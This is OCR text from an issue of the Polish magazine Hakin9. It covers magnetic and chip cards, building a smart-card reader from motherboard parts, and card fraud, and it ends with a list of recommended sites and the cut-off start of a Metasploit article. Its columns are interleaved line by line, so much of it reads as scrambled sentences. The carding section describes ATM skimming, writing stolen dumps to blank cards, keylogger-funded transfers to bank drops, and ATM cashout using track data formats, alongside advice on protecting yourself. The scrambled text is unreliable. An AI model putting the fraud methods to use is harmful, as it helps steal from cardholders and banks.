impulsów. Poszczególne obszary mogą Do bardzo istotnych zalet karty się cały mikrokontroler, czyli w gruncie
być namagnesowane dwoma biegunami mikroprocesorowej należy zaliczyć również rzeczy komputer z procesorem i trzema
(+ i -), można to sprawdzić przy pomocy niski koszt jej eksploatacji w porównaniu do pamięciami: ROM (zawierającą system
magnesu, który przesuwamy nad utrzymania oddziałów banków. operacyjny karty), RAM (do przechowywania
paskiem magnetycznym dość szybko Koszt wydania karty (produkcja, przetwarzanych danych) oraz EEPROM
(można wyczuć, że magnes raz jest lekko personalizacja) jest jednak stosunkowo (służącą jako pamięć masowa dla danych
przyciągany, a raz lekko odpychany). Gdyby wysoki. Jest to związane przede wszystkim użytkownika). Zastosowanie takich kart
ktoś użył taśmy VHS, mógłby wykonać z wykorzystaną technologią, która może być bardzo szerokie. Zadania, jakie
kopię karty. Następnie musiałby odtworzyć zaszyta jest w mikroprocesorze na karcie. wykonywać będzie karta, zależą głównie
magnesem poprzednie pola. Przed całym Jednakże z tematem tym wiąże się również od zaimplementowanego w jej ROM-ie
eksperymentem dobrze jest zostawić kilka programowanie chipów. Banki w Polsce oprogramowania wewnętrznego. Daje to
impulsów, ponieważ prawdopodobnie karta instalują na kartach stosunkowo prostą producentom i programistom duże pole
po wyczerpaniu zostanie poddana silnemu aplikację, służącą głównie do wypłaty do popisu. Trudno jest jednak zbudować
polu magnetycznemu w budce telefonicznej, gotówki oraz dokonywania standardowych systemy współpracujące z kartami
które ją skasuje. transakcji płatniczych. Powodem tego jest procesorowymi. Wynika to z faktu, że różne
Następną generacją kart są karty tzw. kolejna wada rynku kart mikroprocesorowych zapakowane w plastik procesory mają
inteligentne. To karty mikroprocesorowe lub – słaba infrastruktura sieci akceptacji kart. niezgodne ze sobą listy rozkazów. Dlatego do
chipowe, posiadające wbudowany układ Nadal funkcjonuje stosunkowo niewielka budowy czytnika konieczna jest współpraca z
– chip (zamiast lub wraz z powszechnie liczba punktów autoryzacyjnych, które producentem kart lub choćby dostęp do ich
stosowanym paskiem magnetycznym). mogą obsługiwać karty chipowe. Jedynym dokumentacji.
Karta chipowa uznawana jest za praktycznie obszarem, w którym ta technologia bardzo Specyficznym rodzajem kart
niemożliwą do sfałszowania ze względu dobrze się rozwija, jest telefonia komórkowa. procesorowych są układy kryptograficzne.
na możliwość kontrolowania przez Pod względem budowy mechanicznej Zawierają one zwykle specjalny procesor
mikroprocesor dostępu do informacji wszystkie układy chipowe są takie szyfrujący, a ich oprogramowanie
w nim zapisanych oraz specjalny język same. Rozróżnić wypada jednak karty przystosowane jest do przechowywania
komunikacji. W układzie mikroprocesora pełnowymiarowe (wielkości karty kredytowej) i udostępniania innym aplikacjom kluczy
zaszyte są funkcje zabezpieczające przed i miniaturowe, znane chyba najlepiej jako szyfrujących, do pracy w systemach podpisu
kopiowaniem zawartości karty. W pamięci moduły SIM telefonów GSM. Między tymi elektronicznego, zdalnego identyfikowania
układu może znajdować się kilkadziesiąt kartami zauważymy zgodność układu użytkowników, zabezpieczania logowania do
razy więcej informacji niż na standardowym styków. Każdy, kto miał okazję rozpakowywać systemów komputerowych itd.
pasku magnetycznym – pozwala nam to na nowy pakiet zakupiony w salonie GSM Mnogość rodzajów kart chipowych
wykorzystanie go do innych, dodatkowych i własnoręcznie wyłamywać małą kartę jest korzystna choćby ze względu
celów. Pasek magnetyczny jest ograniczony z większej płytki plastiku, zauważył z na różnorodność ich zastosowań,
jedynie do 130 znaków. Karty chipowe mogą pewnością, że operacja ta nie była niczym ale jednocześnie fatalnie wpływa na
służyć (poza standardowymi funkcjami innym, jak zamianą dużej karty (pasującej uniwersalność czytników.
płatniczymi) jako karty rabatowe, telefoniczne, do standardowych czytników) na małą, Jak wspomniałem wcześniej, układ
opłat (np. parkingowych), identyfikacyjne itp. odpowiednią dla złącza współczesnych połączeń styków kart jest w zasadzie
Rozwój handlu elektronicznego, powodujący telefonów. Dowodzi to niezbicie, iż cała standardowy. Protokoły transmisji danych
także wzrost znaczenia e-bankingu, stwarza elektronika karty (chip) umieszczona jest bywają natomiast bardzo różne. Dotyczy
dodatkowe możliwości zastosowania kart bezpośrednio pod stykami, a reszta to tylko to także list rozkazów kart procesorowych.
mikroprocesorowych jako bezpiecznych plastikowa oprawa. W rezultacie konieczne okazuje się
układów. Skoro już o chipie mowa, warto zwrócić opracowywanie specjalnych czytników i
Mechanizm autoryzacji transakcji bazuje uwagę na to, że zarówno jego budowa, jak oprogramowania dla konkretnych modeli
w tym przypadku nie tylko na podpisie i zasada działania mogą się bardzo różnić kart. Sprawdza się to znakomicie w
klienta na dokumencie potwierdzającym w zależności od typu karty. Najprostsze przypadku zastosowań profesjonalnych
jej wykonanie, ale też na numerze PIN są karty pamięciowe, zawierające jedynie – na przykład wtedy, gdy punkty mające
– Personal Identification Number. Ponadto układy EEPROM o różnej pojemności, obsługiwać użytkowników wyposaża się w
autoryzacja może być dokonywana w czasem zabezpieczone przed zmianą specjalizowane czytniki do takich kart, jakie

36 HAKIN9 4/2009
zostały udostępnione konkretnej grupie osób (pracownikom,
klientom itp.). Urządzenia tego rodzaju budowane są jako
proste interfejsy, przyłączane choćby do portu szeregowego
komputera. W takim przypadku cała obsługa komunikacji z
kartą przerzucona zostaje na oprogramowanie. Przeciętny
użytkownik peceta, który chciałby wyposażyć swoją
maszynę w uniwersalny czytnik do kart chipowych, ma
jednakże nie lada problem. Dostępne są oczywiście w
sprzedaży urządzenia obsługujące wiele standardów, ale
który z nich wybrać? Trudno odpowiedzieć jednoznacznie
na takie pytanie, nie znając rodzajów kart, jakie mają być
wykorzystywane. Warto postarać się, aby czytnik działał w
jednym z najpopularniejszych na świecie standardów, czyli
PC/SC. Zawsze jednak powinniśmy mieć świadomość,
że mogą się trafić karty, których taki sprzęt nie obsłuży. Po
prostu urządzenia radzącego sobie z absolutnie wszystkimi
dostępnymi rodzajami kart najzwyczajniej na świecie nie ma...
Do komunikacji z taką kartą można wykorzystać
wbudowany w układ płyty głównej chip, który bardzo łatwo
przeoczyć na pierwszy rzut oka. Obsługą kart chipowych w
wielu współczesnych pecetach zajmuje się kość Multi I/O
– ta sama, która steruje portami szeregowymi, równoległym,
klawiaturą itd. Praca w trybie czytnika to po prostu jej
dodatkowa funkcja, uaktywniana zamiennie z trybem obsługi
drugiego portu szeregowego. Wystarczy zerknąć do opisu
BIOS-u wielu płyt głównych, aby zauważyć, że jeden z układów
UART może pracować w trzech trybach: jako standardowy
port COM, port podczerwieni IrDA albo właśnie SmartCard
Reader. Włączenie czytnika kart spowoduje zniknięcie z
systemu jednego portu szeregowego i przełączenie go na
gniazdo szpilkowe czytnika kart, umieszczone gdzieś na
laminacie płyty głównej. Pozostaje więc wspomniane złącze
odnaleźć, połączyć je z kartą i w razie potrzeby zainstalować
wymagane sterowniki, aby cieszyć się w pełni sprawnym
czytnikiem kart chipowych, zgodnym ze standardem PC/SC.
Gdy zapoznamy się z ogólnym schematem działania
PC/SC, zauważymy, że to, co wypadnie nam zbudować,
wcale nie jest jakimś skomplikowanym urządzeniem. Nie
licząc paru drobiazgów, mamy do czynienia jedynie z
gniazdem dla karty, przewodem i wtyczką! Kondensator
filtrujący napięcie zasilające czy oporniki nie wymagają
komentarza. Koniecznie trzeba natomiast wspomnieć o
widocznym na schemacie (Rysunek 1) tranzystorze. To jedyny
element półprzewodnikowy. Współpracuje on z kontrolerem
Multi I/O, który analizuje stan styków w gnieździe czytnika i
tym samym fakt obecności karty chipowej w slocie. Sam
tranzystor służy do podawania i odcinania zasilania. Napięcie
jest odłączane podczas wkładania i wyjmowania karty,
co zapewnia bezpieczne operowanie nią podczas pracy
komputera.
Samo zmontowanie czytnika z pewnością nie sprawi
nikomu trudności ani też nie przysporzy dużych wydatków.
Komplet elementów łącznie z gniazdem do kart nie powinien
kosztować więcej niż kilkanaście złotych. Pracy też jest
raptem na kilkanaście minut – jeśli zdecydujemy się na
wersję bez płytki drukowanej, z bezpośrednimi połączeniami

4/2009 HAKIN9 37
ATAK
przewodów do styków gniazda. Prototyp miejsca pracy – zabezpieczyć komputer powinniśmy sprawdzić, czy płyta główna
umieszczony został jednak na specjalnie przed dostępem niepowołanych osób. Na oferuje funkcje odpowiedzialne za obsługę
przygotowanej płytce, co zabezpieczyło układ zabezpieczeniach możliwości pakietu się kart chipowych.
przed przypadkowymi zwarciami i ułatwiło jednak nie kończą. Jeśli w czytniku znajdzie Na początek najlepiej zajrzeć do
mechaniczny montaż gniazda do zaślepki się moduł SIM z telefonu komórkowego, dokumentacji płyty. Wśród informacji
3,5 cala. to za pomocą narzędzia GSM Explorer dotyczących niepozornych złączy
Po zainstalowaniu czytnika i ewentualnej będziemy mogli swobodnie edytować szpilkowych trzeba szukać czegokolwiek
instalacji sterowników (szczegóły w ramce) książkę telefoniczną. Oczywiście do układu na temat SmartCard. Bardzo ważne jest
należy nowy sprzęt wypróbować. Z założenia SIM musimy dorobić odpowiednią ramkę (np. ponadto odnalezienie opisu samego
czytnik standardu PC/SC może służyć z tektury), aby dopasować się do rozmiarów gniazda, oznaczonego jako SmartCard,
do różnych zastosowań (na przykład w czytnika. Smartcon itp. Bez dokładnego opisu
systemach podpisu elektronicznego), lecz Naturalnie nie jesteśmy zmuszeni przyporządkowania każdej szpilki nie
na początek proponuję zapoznać się z korzystać wyłącznie z oprogramowania uda się poprawnie podłączyć czytnika.
prostymi programikami współpracującymi dostarczanego razem ze sterownikami. Wskazane jest też zerknięcie do wnętrza
z kartami takimi jak np. pakiet Winbond Możemy swobodnie używać praktycznie peceta i odszukanie opisanego w instrukcji
Smart Manager, dostarczany razem ze każdej aplikacji zgodnej z naszymi gniazda w naturze. Czasem zdarza się, że
sterownikami do układów Multi I/O tego kartami i czytnikami standardu PC/SC. Ot, stan faktyczny na konkretnej płycie odbiega
producenta. Podstawą zestawu jest program choćby w przypadku kart telefonów GSM od tego z dokumentacji. Na koniec nie
Key Center, pozwalający zarejestrować posłużymy się amatorskim narzędziem zawadzi rozejrzeć się w okolicach gniazda
nasze karty SIM (ang. Subscriber Identity SIM Spy (http://www.nobbi.com), aby za układem Multi I/O i zapisać jego symbol.
Module) telefonu GSM lub bankowe jako dowiedzieć się wielu interesujących Może się to bardzo przydać podczas
klucze otwierające dostęp do pozostałych szczegółów o swojej karcie SIM. Warto też poszukiwania sterowników do chipa.
programów zestawu. Kiedy mamy już sięgnąć po inne specjalistyczne aplikacje Przystępując do montażu
zatwierdzoną kartę-klucz, możemy przystąpić przeznaczone dla autorów oprogramowania przygotowanego wcześniej czytnika, trzeba
na przykład do szyfrowania plików na współpracującego z kartami. Za przykład wyjątkowo starannie podejść do połączeń
dysku za pomocą narzędzia File Protection, niech posłuży SmartCard ToolSet (http: wtyczki łączącej kabel z płytą główną. Zwarcia
także wchodzącego w skład pakietu. Zbiór //www.scardsoft.com), pozwalająca testować, w przewodzie lub na płytce mogą skończyć
DOC, zaszyfrowany podczas obecności identyfikować czy skanować listy rozkazów się uszkodzeniem kości Multi I/O.
konkretnej karty, stanie się nieczytelny dla różnego typu kart. Może być to bardzo Rozkład sygnałów, a także ich liczba
aplikacji MS Word, a przywrócenie mu przydatne w przypadku problemów z w gnieździe szpilkowym mogą być różne
pierwotnego formatu wymagać będzie dostępem do dokumentacji technicznej karty. dla poszczególnych modeli płyt głównych.
włożenia do czytnika tej samej karty, która Mając odpowiedni czytnik, otwieramy sobie Zawsze jednak powinniśmy odnaleźć te
użyta była podczas szyfrowania. Oczywiście też drogę do samodzielnego opracowania potrzebne nam do komunikacji z kartami.
tak samo będzie się działo w przypadku, systemów wykorzystujących karty chipowe. Należy więc porównać uważnie instrukcję
gdy będziemy mieli do czynienia z plikami Czasem nabywając „czyste” karty, otrzymamy obsługi płyty z opisem wyprowadzeń
innego typu. Dzięki temu, zabierając ze sobą gratis odpowiedni pakiet oprogramowania czytnika i polutować wtyczkę tak aby uzyskać
niewielką przecież kartę, zablokujemy innym autorskiego, a zatem łatwo i stosunkowo połączenie wyjść o takich samych nazwach
osobom korzystającym z tego samego tanio możemy stać się autorami nowego, (np. SCRCLK czytnika z SCRCLK płyty
komputera dostęp do naszych danych. W niewykluczone, że innowacyjnego, głównej, VCC czytnika z VCC płyty i tak dalej).
zabezpieczeniu peceta przed niepowołanym zastosowania kart chipowych. Jeśli dostawca Później pójdzie już z górki.
dostępem warto też pójść dalej. Programik kart przewidział możliwość odczytywania ich Najwygodniej jest przygotować miejsce
Logon potrafi podczas logowania do zawartości w domowym pececie, od razu dla czytnika w wolnej zatoce 3,5 lub 5,25 cala.
systemu sprawdzać, czy w czytniku została udostępnia klientowi gotowy program. Trzeba Jeśli płytka układu zostanie przymocowana
umieszczona odpowiednia karta. Bez niej tylko zadbać o własny standardowy czytnik, do zaślepki, to za mocowanie do obudowy
start komputera nie będzie możliwy. Jest też aby skorzystać z nowych funkcji naszego służyć będą jej zatrzaski. Gdy czytnik już
ciekawsza opcja: stałe sprawdzanie kodu peceta. siedzi na swoim miejscu, czas zajrzeć do
karty. Po jej wywołaniu wystarczy wyjąć kartę wnętrza obudowy. Podłączenie wtyczki do
z czytnika, aby przestały działać klawiatura i Elektronika czytnika odpowiedniego gniazda płyty głównej kończy
mysz, a cały ekran został przysłonięty grafiką Niezwykła prostota konstrukcji i bardzo pracę. Można zamykać obudowę, ustawić
ze stosownym komunikatem. Co ważne, niska cena opisywanego czytnika wynika pecet na swoim miejscu i zabrać się za
natychmiast po ponownym włożeniu karty z wykorzystania wbudowanej w płytę konfigurację BIOS-u.
wszystko automatycznie wraca do stanu główną elektroniki. Tak naprawdę w artykule W BIOS-ie odszukujemy opcje związane
pierwotnego – bez restartowania systemu, zachęcam do budowy gniazda i przewodu z portami wejścia-wyjścia (I/O Device
ponownego uruchamiania programów itd. połączeniowego z odpowiednimi układami configuration) i przełączamy tryb pracy
Mechanizm ten pozwala szybko i wygodnie zamontowanymi w kości Multi I/O peceta. jednego z nich (UART2 Use as) na Smart
– nawet w czasie chwilowego opuszczenia Zanim jednak chwycimy za lutownicę, Card Reader. Po tym zabiegu z systemu

38 HAKIN9 4/2009
SOCJOTECHNIKA, PHREAKING, PHARMING

zniknie jeden z portów szeregowych (zwykle Posiadając zeskanowaną kartę płatniczą następnie pieniądze na tzw. bank drops,
COM2) i przestanie działać jego gniazdo na oraz numer PIN, atakujący bez problemu czyli fikcyjne konta bankowe – i wypłacając
tylnej ściance peceta. W Windows pojawi się może nagrać kartę przy pomocy chociażby dostępne po przelewie środki. Wiele banków
za to nowy sprzęt opisany jako czytnik kart urządzenia MSR206, w oczywistym celu używa dodatkowych zabezpieczeń w postaci
inteligentnych bądź... nieznane urządzenie. W jej wykorzystania. Paradoksem jest fakt, że haseł jednorazowych, kluczy, haseł do
tym drugim przypadku konieczna okaże się nagrywarka oraz czyste karty dostępne są przelewów. Gdy atakujący posiada dostęp do
instalacja odpowiednich sterowników. legalnie w sklepach w Internecie. Technika zainfekowanego komputera wraz z loginem/
Kość Multi I/O płyty głównej obsługuje skanowania i kradzieży kart płatniczych hasłem do konta użytkownika, ma możliwość
wiele urządzeń (porty szeregowe, port jest wykorzystywana również w sklepach, spreparowania systemu tak aby osoba, która
równoległy, klawiatura, mysz PS2 itd.). restauracjach oraz innych podobnych wpisze w swojej przeglądarce adres strony
Sterowniki do nich są zazwyczaj wbudowane miejscach wspierających możliwość WWW banku, została przekierowana na tzw.
w system operacyjny lub znajdują się w uiszczenia opłaty kartą płatniczą. Aby ustrzec scam page, imitującą autentyczną stronę i
typowej paczce programów dostarczanych się przed tego typu atakami, musimy proszącą o wpisanie hasła jednorazowego.
przez producenta konkretnej płyty głównej. zwracać szczególną uwagę na bankomaty, Należy zachować ostrożność i dbać o
W przypadku czytnika kart chipowych, z których korzystamy – czy nie posiadają bezpieczeństwo swojego komputera,
obsługiwanego przez ten sam układ scalony, doczepionych podejrzanych urządzeń? dokonywanie przelewów bankowych ze
może się jednak zdarzyć, iż trzeba będzie Zwróćmy także uwagę na to, co dzieje się strony internetowej wymaga należytej uwagi.
samodzielnie poradzić sobie z problemem z naszą kartą, w momencie, kiedy damy ją Trzeba się zawsze szczegółowo upewnić,
nieznanego urządzenia i dostarczyć sprzedawcy w sklepie czy też recepcjoniście czy strona, na którą trafiliśmy, jest na pewno
pecetowi odpowiednich sterowników. w hotelu. Jeżeli zostanie ona przesunięta oryginalną witryną banku.
Kluczami do ich odszukania są typ oraz ukradkiem przez inny czytnik kart, możemy w
producent układu Multi I/O danej płyty następstwie tego faktu paść ofiarą carderów. ATM cashout
głównej. Na CD dostarczonym z płytą, na Czasami sytuacje takie mają miejsce na Do metody tej złodzieje potrzebują
stronie WWW jej producenta lub też na ogromną skalę, a zebrane po całym dniu następujących danych: numeru karty,
stronie producenta samej kostki trzeba np. w hotelu numery kart kredytowych daty ważności, PIN-u oraz CVN (ang.
szukać czegoś związanego ze Smart Card sprzedawane są carderom po ulgowych Card Verification Number). W Internecie
i firmą, która wyprodukowała układ wejścia- cenach. dostępne są listy banków oraz numerów
wyjścia. Przykładowo: wykorzystana przy kart kredytowych, którymi można wypłacić
opracowaniu niniejszego tekstu płyta miała Instore carding środki finansowe przez bankomat. Karta
kość W83627GF-AW firmy Winbond, a zatem W momencie, kiedy carder posiada tylko kredytowa zawiera trzy ścieżki. Na pierwszej
pakiet sterowników Winbond Smart@IO zestanowane karty, bez kodów PIN, korzysta z nich zapisywane są takie dane jak numer
Driver już na pierwszy rzut oka wydawał z nich z reguły w sklepach, robiąc różnego karty, data ważności, imię i nazwisko oraz
się tym, co jest potrzebne. Sama instalacja rodzaju zakupy. Potrzebuje plastiku, na który algorytm szyfrowania. Na drugiej ścieżce
okazała się banalnie prosta, gdyż instalator nagrywane są dane – w miejsce, gdzie karta znajdują się te same dane, co na pierwszej
automatycznie rozpoznał typ układu oraz posiada nadruk i hologram. Na domiar złego, oprócz imienia i nazwiska oraz litery B (od
wersję systemu operacyjnego i samoczynnie karty takie są ogólnodostępne na czarnym słowa bank) – oznaczającej fakt bycia kartą
wybrał potrzebne pliki. Już po chwili w rynku. Jeśli przestępcy nie posiadają takich płatniczą. Przykład:
Menedżerze urządzeń wśród Czytników kart lub dostępu do nich, próbują używać
kart inteligentnych zamiast Nieznanego starych, prawdopodobnie skradzionych z Ścieżka 1: B'numer _ karty'^Imię/
urządzenia pojawił się Winbond Smartcard- czyjegoś portfela albo torebki – na które Nazwisko^'data _ ważności''algorytm'
Reader. nanoszą własne dane. Zeskanowane karty Ścieżka 2: 'numer _ karty'='data _
nazywają się potocznie dumps, a ich ceny ważności''algorytm'
Skimming uzależnione są od jakości karty – czy jest
Jest to kopiowanie paska magnetycznego to karta typu Classic, Business, Platinum, Każda karta posiada swój indywidualnie
karty. Technika wykorzystywana najczęściej a może Corporate. W celu zapewnienia wygenerowany przez bank algorytm.
przy atakach na bankomaty, gdzie złodzieje sobie choćby minimalnej ochrony przed Bankomaty odczytują tylko ścieżkę drugą.
zakładają miniaturowy czytnik w miejscu, sytuacją, w której ktoś posługuje się kartą bez Luka w systemach bankowych polegała na
w którym klient wprowadza kartę. Jest naszej wiedzy, jest stała kontrola rachunku, tym, że algorytm karty nie był odpowiednio
on tak zbudowany, aby nie wzbudzał operacji dokonywanych naszą kartą i interpretowany, tylko sprawdzane były
niczyich podejrzeń oraz wyglądał jak wszelkich aspektów jej użycia, które mogłyby dane numeru oraz daty ważności, a
część bankomatu. Do zdobycia numerów wskazywać na jej zeskanowanie. także PIN. Jeżeli dane były poprawne
PIN osoby posiadającej kartę płatniczą – bankomat wypłacał pieniądze. Ta metoda
napastnicy używają nakładki na klawiaturę Wire transfers jest już coraz rzadziej stosowana przez
(taką samą jak w bankomacie), posiadającej Carderzy rozsyłają różnego rodzaju carderów, ze względu na to, że większość
własną, wbudowaną pamięć oraz zapisującej wirusy, zawierające keyloggery zapisujące banków uaktualniła już swoje systemy
wszystkie wprowadzane do niej polecenia. login/hasło kont bankowych, przelewając zabezpieczeń.

4/2009 HAKIN9 39
ATAK
Casino tak zabezpieczona karta ma ponadto Można używać karty chipowej
Jest to po prostu gra carderów w licznik błędnych prezentacji PIN lub klucza jako klucza do komputera. Musimy
internetowych kasynach, gdzie zakładają i zostaje zablokowana, jeśli podczas kilku oczywiście zainstalować w maszynie
oni na przykład dwa konta. Jedno fikcyjne, (typowo od 3 do 8) prób nie zostanie czytnik kart, który – wraz z odpowiednio
na które przelewane są pieniądze z podany prawidłowy numer. zmodyfikowanym BIOS-em oraz
wykorzystaniem kart kredytowych, a drugie, Niektóre karty pozwalają także na oprogramowaniem – zapewnia pełną
przy którego pomocy wygrywają legalnie. pełne zabezpieczenie pewnych obszarów kontrolę nad komputerem: nie jest możliwe
Następnie pieniądze są przelewane na pamięci przed zapisaniem. Polega ono na uruchomienie systemu operacyjnego
konto bankowe i wypłacane. selektywnym, nieodwracalnym blokowaniu bez karty, nie można zmieniać ustawień
możliwości modyfikacji pewnych obszarów konfiguracyjnych BIOS-u (ang. BIOS
Shopping pamięci karty. settings). Uprawnienia poszczególnych
Zdobywanie danych poszczególnych Przykładem karty bez zabezpieczenia użytkowników do pracy z wybranymi
kart kredytowych może odbywać się odczytu, chronionej natomiast przed komputerami mogą być dowolnie
z wykorzystaniem metody phishingu, zapisem przy pomocy 16-bitowego PIN-u kształtowane przez administratora
czyli rozsyłania wiadomości poczty i z możliwością trwałego zabezpieczenia systemu. Możliwe jest tworzenie
elektronicznej z adresem fałszywej strony poszczególnych oktetów jest układ wydzielonych grup komputerów i kart w
banku. Ofiarami ataku są nieuważni Siemensa o symbolu SLE4428, o ramach przedsiębiorstwa, budynku itp.
ludzie, którzy, otrzymując taki e-mail z pojemności 8 kilobitów. Dzięki wbudowanemu w niektóre
informacją np. o aktualizacji swoich danych Istnieją jednak dużo lepiej karty modułowi RSA lub mechanizmowi
i konta, wchodzą na podstawioną stronę, zabezpieczone karty. Zawierają one challenge-response możliwe jest użycie
wyglądającą identycznie jak prawdziwa. komputer z własnym programem w karty jako bezpiecznego identyfikatora.
Wpisują tam swoje dane, które trafiają pamięci ROM, dodatkowo pamięć RAM, Nawet podsłuchanie transmisji do i z
najczęściej na konta pocztowe carderów. EEPROM lub FLASH-ROM. Takie karty karty nie da włamywaczowi możliwości
Często przeprowadzanymi atakami są nazywane są kartami procesorowymi. odgadnięcia hasła. Ponadto jego
włamania na serwery utrzymujące bazy Często używane są w nich procesory długość (nawet do ponad tysiąca bitów) i
danych zawierające poufne dane i numery z rodziny MCS51 (bardzo popularny zabezpieczenie karty przed wielokrotnymi
kart kredytowych klientów. Czasami spotkać standard). Dostęp (zarówno zapis, jak i próbami podawania nieprawidłowego
też można informacje o dostępności odczyt) do pamięci na karcie może być hasła uniemożliwiają złamanie systemu
takich danych kart kredytowych na forach zabezpieczony PIN-em lub przy pomocy metodą brutalnego ataku. Ponadto dzięki
lub na czarnym rynku. Pamiętajmy o tajnego klucza i mechanizmu challenge- karcie szyfrowanie danych może odbywać
należytym bezpieczeństwie i rozwadze response. Karta procesorowa może się poza aplikacją, więc włamywacz
przy dokonywaniu przelewów online, nigdy zawierać również moduł kryptograficzny mający dostęp do programu, ale
nie róbmy tego z kafejek internetowych, oparty o szyfr z kluczem publicznym RSA. nieposiadający karty nie będzie w stanie
gdzie w większości przypadków na Jest to bardzo dobre zabezpieczenie, bo złamać systemu.
komputerach użytkowników zainstalowane klucz zapisany i zabezpieczony w pamięci
są programy monitorujące wprowadzane karty przez dostawcę aplikacji nigdy potem Podsumowanie
z klawiatury informacje. Uważajmy na nie jest ujawniany. Wszelkie operacje Wydaje się, że perspektywa łamania karty
odnośniki, nie ufajmy adresom, które kryptograficzne wykonywane są wewnątrz jest odległa, jednak dzisiejsza technologia
mogą być spoofowane, monitorujmy karty, a zarówno do identyfikacji karty, pozwala na wykonanie odczytu karty i
raporty przelewów i zwracajmy uwagę jak i utajnienia informacji w zupełności informacji na niej zawartych tak samo,
na bankomaty, z których korzystamy. Przy wystarcza klucz publiczny, który może być jak czytają ją bankomaty czy urządzenia
zachowaniu podstawowych środków ujawniany. Dzięki rozwiązaniu sprzętowemu płatnicze. Następnie te wartości są
bezpieczeństwa nie powinno dojść skomplikowane operacje matematyczne kopiowane na inną kartę i udostępniane,
do sytuacji, w której pewnego dnia stosowane w metodzie RSA wykonywane gdy taki czytnik o nie poprosi. Dlatego
po zalogowaniu się na własne konto, są bardzo szybko. też stosuje się klucze zabezpieczające
zobaczymy, że jest ono puste. Przykładami kart procesorowych są po stronie czytnika i karty – komunikacja
Dostęp do pamięci na karcie może być układy SLE 44C80 oraz SLE44CR80S między urządzeniami jest szyfrowana, co
zabezpieczony. Niektóre karty pozwalają Siemensa. Przy omawianiu zabezpieczeń zapewnia nam znacznie wyższy poziom
na zabezpieczenie przed zapisem, inne na kart trzeba wspomnieć także o tym, bezpieczeństwa.
zabezpieczenie przed zapisem i odczytem, że struktura układu scalonego jest tak
a inne nie mają żadnych zabezpieczeń. skonstruowana, że nie jest możliwe
Rafał Podsiadły
Same zabezpieczenia też mogą być podejrzenie lub podsłuchanie jej budowy Od kilku lat fascynuje się nietypowymi technikami
zabezpieczeń, projektowaniem i wprowadzaniem
różnego rodzaju: kod PIN 16-bitowy albo i działania. Także próba mechanicznego
skutecznych polityk bezpieczeństwa, projektowaniem
24-bitowy (ponad 16 milionów kombinacji), dostępu do karty poprzez usuwanie użytecznych interfejsów dla użytkownika, psychologią
społeczną. Od 5 lat programista C++, Delphi, JavaScript,
48-bitowy (ponad 281 bilionów kombinacji) kolejnych warstw struktury układu PHP, MySql. Student WSTI – Katowice.
lub jeszcze dłuższy klucz szyfrujący. Każda scalonego spowoduje uszkodzenie karty. Kontakt z autorem: rafal.podsiadly@gmail.com

40 HAKIN9 4/2009
Strony rekomendowane

Misją serwisu jest zaprezentowanie języ- Strona internetowa firmy Fit Consulting spe- Portal poświęcony technikom programo-
ków programowania oraz ułatwienie użyt- cjalizującej się w nowoczesnych rozwią- wania oraz sposobom ochrony przed za-
kownikowi ich szybkiej nauki. zaniach informatycznych, zaczynając od grożeniami jakie płyną z Internetu. Przedsta-
sprzedaży sprzętu komputerowego i świad- wione techniki służą do celów edukacyjnych,
czeniu usług po zaawansowane rozwiązania nie należy ich wykorzystywać w niewłaści-
zarządzania przedsiębiorstwem. wy sposób.
http://www.cjp.xt.pl http://www.fit-consulting.pl/ http://www.hackerzy.pl

Witryna poświęcona w całości tematy- Do niedawna termin hacking był zarezerwo- Strona firmy świadczącej profesjonalne
ce hakingu. Początkujący w tej dziedzinie wany tylko dla profesjonalistów. Na tym por- usługii IT, specjalizującej się w wypożycza-
znajdą na niej działy, ktore im umożliwią talu można dowiedzieć się więcej o tym za- niu serwerów i macierzy. Firma prowadzi
rozpoczęcie nauki. gadnieniu. Znajdują się na nim również aktu- także centrum szkoleniowe.
alności i obszerny dział downloads.
http://www.haker.ocom.pl/ http://www.hakerczat.prv.pl/index.html http://www.itlpolska.pl

Portal dla wszystkich zainteresowanych te- Portal internetowy poświęcony w całości Strona koła naukowego PK IT Security Gro-
matyką bezpieczeństwa, audytem, IT Go- branży IT. Podzielony jest na trzy działy po- up. Koło ma na celu dostarczanie informacji
vernance w sieciach i systemach teleinfor- święcone sprzętowi komputerowemu, grom związanych z bezpieczeństwem.
matycznych, a także ochroną danych. i rozrywce oraz najnowszym aplikacjom.
http://www.locos.pl/ http://www.pcarena.pl/index.php http://www.pkitsec.pl/

Misją serwisu jest dostarczenie dużej ilo- Strona dla każdego webmastera i hackera. Serwis poświęcony branży IT oferujący
ści informacji z zakresu informatyki. Znaj- Jeśli zawsze chciałeś stworzyć swoją stro- codzienne newsy, artykuły, recenzje ma-
dują się na nim ciekawe artykuły, najśwież- nę internetowej lub poznać haking od pod- gazynów, testy oraz forum dyskusyjne.
sze informacje z rynku IT, recenzje książek szewki, to ten serwis Ci w tym pomoże.
jak i kursy tworzenia portali www.
http://www.swww.pl/ http://web4u.neth.pl/ http://www.webhat.pl/index.php

Strony rekomendowane
ATAK
GRZEGORZ GAŁĘZOWSKI

Metasploit
Framework
Stopień trudności

Wytworzenie idealnego oprogramowania wciąż pozostaje


marzeniem trudnym do zrealizowania. Pomimo rygorystycznego
i systematycznego testowania, większość zarówno dużych, jak i
nawet małych programów zawiera duże liczby błędów. Przyczyną
tego jest złożoność ich kodów źródłowych.

P
rogram zbudowany z zaledwie kilkuset kosmiczną pierwszą amer ykańską sondę
linijek może zawierać dziesiątki rozkazów międzyplanetarną Mariner 1, spowodował jej
umożliwiających wystąpienie tysięcy zejście z właściwego kursu. W konsekwencji
różnych błędów. Najgorsza sytuacja występuje zarówno rakieta, jak i sonda uległy zniszczeniu
w przypadku programów kontrolujących wkrótce po starcie.
kr ytyczne procesy. Kod takiej aplikacji może Wytwarzane obecnie oprogramowanie staje
zawierać od dziesiątków do milionów linii kodu się coraz bardziej złożone i coraz trudniej jest
źródłowego. Aplikacja taka może podjąć błędną sprawić, aby było niezawodne. Testowanie kodu
decyzję, gdy przypadkowy układ sygnałów, któr y umożliwia szybkie wykr ywanie błędów, a także
do niej doprowadzi, nie został dostatecznie kontrolę poprawnego funkcjonowania aplikacji.
przetestowany. Programista mógł prawidłowo Dlatego ważne jest, by dostatecznie dobrze
zaprojektować złą reakcję lub w ogóle nie przetestować aplikację pod każdym względem,
przewidzieć wystąpienia danej sytuacji. Ten szczególnie jeżeli od jej działania zależeć
typ defektu programu jest najtrudniejszy do będzie bezpieczeństwo i życie ludzi.
całkowitego wyeliminowania.
Jak poważne konsekwencje mogą wywołać Historia
Z ARTYKUŁU źle napisane programy, niech posłużą temu Metasploit Framework (MSF)
DOWIESZ SIĘ poniższe przykłady. Projekt Metasploit został pierwotnie stworzony
